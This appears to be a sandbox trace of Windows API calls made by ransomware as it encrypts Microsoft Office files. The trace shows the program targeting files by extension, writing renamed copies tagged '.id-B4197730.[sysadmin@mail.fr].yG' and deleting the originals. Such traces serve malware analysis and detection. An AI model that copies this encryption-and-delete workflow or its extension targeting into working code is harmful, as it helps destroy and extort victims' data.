	[0051.018] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x80e60, lpOverlapped=0x0) returned 1
	[0051.025] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.026] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0051.026] SetEndOfFile (hFile=0x38c) returned 1
	[0051.026] CloseHandle (hObject=0x38c) returned 1
	[0051.034] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.034] SetEndOfFile (hFile=0x2f4) returned 1
	[0051.038] CloseHandle (hObject=0x2f4) returned 1
	[0051.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1
	[0051.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.039] lstrlenW (lpString=".doc") returned 4
	[0051.039] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.039] lstrlenW (lpString=".docx") returned 5
	[0051.039] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.039] lstrlenW (lpString=".pdf") returned 4
	[0051.039] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.039] lstrlenW (lpString=".xls") returned 4
	[0051.039] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.039] lstrlenW (lpString=".xlsx") returned 5
	[0051.039] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.039] lstrlenW (lpString=".ppt") returned 4
	[0051.039] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.040] lstrlenW (lpString=".zip") returned 4
	[0051.040] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.040] lstrlenW (lpString=".rar") returned 4
	[0051.040] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.040] lstrlenW (lpString=".bz2") returned 4
	[0051.040] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.040] lstrlenW (lpString=".7z") returned 3
	[0051.040] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.040] lstrlenW (lpString=".dbf") returned 4
	[0051.040] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.040] lstrlenW (lpString=".1cd") returned 4
	[0051.040] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.040] lstrlenW (lpString=".jpg") returned 4
	[0051.040] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.040] lstrlenW (lpString=".doc") returned 4
	[0051.040] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.040] lstrlenW (lpString=".docx") returned 5
	[0051.040] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.040] lstrlenW (lpString=".pdf") returned 4
	[0051.040] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.040] lstrlenW (lpString=".xls") returned 4
	[0051.040] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.040] lstrlenW (lpString=".xlsx") returned 5
	[0051.040] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.040] lstrlenW (lpString=".ppt") returned 4
	[0051.040] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.040] lstrlenW (lpString=".zip") returned 4
	[0051.040] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.040] lstrlenW (lpString=".rar") returned 4
	[0051.040] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.040] lstrlenW (lpString=".bz2") returned 4
	[0051.040] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.041] lstrlenW (lpString=".7z") returned 3
	[0051.041] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.041] lstrlenW (lpString=".dbf") returned 4
	[0051.041] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.041] lstrlenW (lpString=".1cd") returned 4
	[0051.041] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0051.041] lstrlenW (lpString=".jpg") returned 4
	[0051.041] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.041] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0051.041] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53
	[0051.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.041] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=1261) returned 1
	[0051.041] CloseHandle (hObject=0x2f4) returned 1
	[0051.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0051.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.042] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.380] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.522] GetLastError () returned 0x0
	[0051.522] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0051.525] WriteFile (in: hFile=0x398, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0051.526] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.526] WriteFile (in: hFile=0x398, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0051.526] SetEndOfFile (hFile=0x398) returned 1
	[0051.526] CloseHandle (hObject=0x398) returned 1
	[0051.527] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.527] SetEndOfFile (hFile=0x2f4) returned 1
	[0051.528] CloseHandle (hObject=0x2f4) returned 1
	[0051.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1
	[0051.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.528] lstrlenW (lpString=".doc") returned 4
	[0051.528] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.528] lstrlenW (lpString=".docx") returned 5
	[0051.528] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.529] lstrlenW (lpString=".pdf") returned 4
	[0051.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.529] lstrlenW (lpString=".xls") returned 4
	[0051.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.529] lstrlenW (lpString=".xlsx") returned 5
	[0051.529] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.529] lstrlenW (lpString=".ppt") returned 4
	[0051.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.529] lstrlenW (lpString=".zip") returned 4
	[0051.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.529] lstrlenW (lpString=".rar") returned 4
	[0051.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.529] lstrlenW (lpString=".bz2") returned 4
	[0051.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.529] lstrlenW (lpString=".7z") returned 3
	[0051.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.529] lstrlenW (lpString=".dbf") returned 4
	[0051.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.529] lstrlenW (lpString=".1cd") returned 4
	[0051.529] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.529] lstrlenW (lpString=".jpg") returned 4
	[0051.529] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.529] lstrlenW (lpString=".doc") returned 4
	[0051.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.529] lstrlenW (lpString=".docx") returned 5
	[0051.529] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.530] lstrlenW (lpString=".pdf") returned 4
	[0051.530] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.530] lstrlenW (lpString=".xls") returned 4
	[0051.530] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.530] lstrlenW (lpString=".xlsx") returned 5
	[0051.530] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.530] lstrlenW (lpString=".ppt") returned 4
	[0051.530] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.530] lstrlenW (lpString=".zip") returned 4
	[0051.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.530] lstrlenW (lpString=".rar") returned 4
	[0051.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.530] lstrlenW (lpString=".bz2") returned 4
	[0051.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.530] lstrlenW (lpString=".7z") returned 3
	[0051.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.530] lstrlenW (lpString=".dbf") returned 4
	[0051.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.530] lstrlenW (lpString=".1cd") returned 4
	[0051.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0051.530] lstrlenW (lpString=".jpg") returned 4
	[0051.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.530] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0051.530] lstrlenW (lpString="AuthoredExtensions.xml") returned 22
	[0051.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.531] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=373) returned 1
	[0051.531] CloseHandle (hObject=0x2f4) returned 1
	[0051.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220
	[0051.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.531] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.531] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.531] GetLastError () returned 0x0
	[0051.532] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x175, lpOverlapped=0x0) returned 1
	[0051.532] WriteFile (in: hFile=0x398, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x180, lpOverlapped=0x0) returned 1
	[0051.533] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.533] WriteFile (in: hFile=0x398, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x100, lpOverlapped=0x0) returned 1
	[0051.534] SetEndOfFile (hFile=0x398) returned 1
	[0051.534] CloseHandle (hObject=0x398) returned 1
	[0051.535] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.535] SetEndOfFile (hFile=0x2f4) returned 1
	[0051.535] CloseHandle (hObject=0x2f4) returned 1
	[0051.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1
	[0051.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.536] lstrlenW (lpString=".doc") returned 4
	[0051.536] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.536] lstrlenW (lpString=".docx") returned 5
	[0051.536] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0051.536] lstrlenW (lpString=".pdf") returned 4
	[0051.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.536] lstrlenW (lpString=".xls") returned 4
	[0051.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.536] lstrlenW (lpString=".xlsx") returned 5
	[0051.536] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0051.536] lstrlenW (lpString=".ppt") returned 4
	[0051.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.536] lstrlenW (lpString=".zip") returned 4
	[0051.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.536] lstrlenW (lpString=".rar") returned 4
	[0051.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.536] lstrlenW (lpString=".bz2") returned 4
	[0051.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.536] lstrlenW (lpString=".7z") returned 3
	[0051.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.537] lstrlenW (lpString=".dbf") returned 4
	[0051.537] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.537] lstrlenW (lpString=".1cd") returned 4
	[0051.537] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.537] lstrlenW (lpString=".jpg") returned 4
	[0051.537] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.537] lstrlenW (lpString=".doc") returned 4
	[0051.537] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.537] lstrlenW (lpString=".docx") returned 5
	[0051.537] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0051.537] lstrlenW (lpString=".pdf") returned 4
	[0051.537] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.537] lstrlenW (lpString=".xls") returned 4
	[0051.537] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.537] lstrlenW (lpString=".xlsx") returned 5
	[0051.537] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0051.537] lstrlenW (lpString=".ppt") returned 4
	[0051.537] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.537] lstrlenW (lpString=".zip") returned 4
	[0051.537] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.537] lstrlenW (lpString=".rar") returned 4
	[0051.537] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.537] lstrlenW (lpString=".bz2") returned 4
	[0051.537] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.537] lstrlenW (lpString=".7z") returned 3
	[0051.538] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.538] lstrlenW (lpString=".dbf") returned 4
	[0051.538] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.538] lstrlenW (lpString=".1cd") returned 4
	[0051.538] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0051.538] lstrlenW (lpString=".jpg") returned 4
	[0051.538] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.538] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.538] lstrlenW (lpString="AG00004_.GIF") returned 12
	[0051.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.540] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=9024) returned 1
	[0051.540] CloseHandle (hObject=0x2f4) returned 1
	[0051.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220
	[0051.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.541] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.541] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
